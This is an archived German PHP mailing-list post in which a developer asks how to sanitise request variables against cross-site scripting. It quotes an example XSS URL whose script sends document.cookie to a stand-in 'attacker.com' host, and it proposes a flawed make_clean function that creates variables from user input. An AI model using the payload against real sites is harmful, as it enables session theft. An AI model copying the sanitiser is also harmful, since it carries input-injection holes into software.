Mailinglisten-Archive |
Hallo Zusammen, Als Schutz vor möglichen Cross-Site-Scripting (XSS) Angriffen auf unsere Web-Applikation möchte ich im Header auf jeder Site ein Schutz einbauen. Betroffen davon sind eigentlich alle möglichen Header Eingaben.( Get, Post, Cookie, Session, Put ). $_ENV, $_GET, $_POST, $_COOKIE, $_SERVER, $_SESSION XCC Beispiel: http://target.com?c="><script>document.location.replace('http://attacker.com /steal.cgi?'+document.cookie);</script>&set=de 1. Die Frage: *************** Wie könnte ich nun am einfachsten und schnellsten alle diese Variablen checken und durch die Funktion make_clean säubern ? Was sollte die Funktion make_clean sonst noch alles checken? *************** 2. Mein Vorschlag: *************** function make_clean($value) { $value = htmlspecialchars(addslashes($value)) // htmlspecialchars, wandelt alle HTML-Tags um $value = str_replace("", "%2B", $value); // %2B wird bei Javascripts Injections gebraucht $value = str_replace("", "+", $value); // + wird bei Javascripts Injections gebraucht return $value; } foreach( $_GET as $key=>$value ) {$$key = make_clean($value);} foreach( $_POST as $key=>$value ) {$$key = make_clean($value);} foreach( $_SESSION as $key=>$value ) {$$key = make_clean($value);} foreach( $_COOKIE as $key=>$value ) {$$key = make_clean($value);} 3. Das Problem: *************** Wenn es nun keine _GET oder sonstwelche Variable gibt, kommt es zu einem Parse-Error in der htmlspecialchars Funktion. Wenn eine _GET oder sonstwelche Variable nicht ein String sondern ein Array ist kommt es auch zu einem Parse-Error. Die Extract-Funktion für Arrays möchte ich erst nach dem make_clean verwenden. Die Lösung ist nicht elegant! Für gute Verbesserungsvorschläge wäre ich sehr dankbar. Mit freundlichen Grüssen, Ivan Schmid Astalavista Group GmbH Network Security Engineer Company: www.astalavistagroup.ch Internet: www.astalavistahosting.com / www.astalavista.net PGP: www.astalavista.ch/firma/pgp-public-schmid.asc
php::bar PHP Wiki - Listenarchive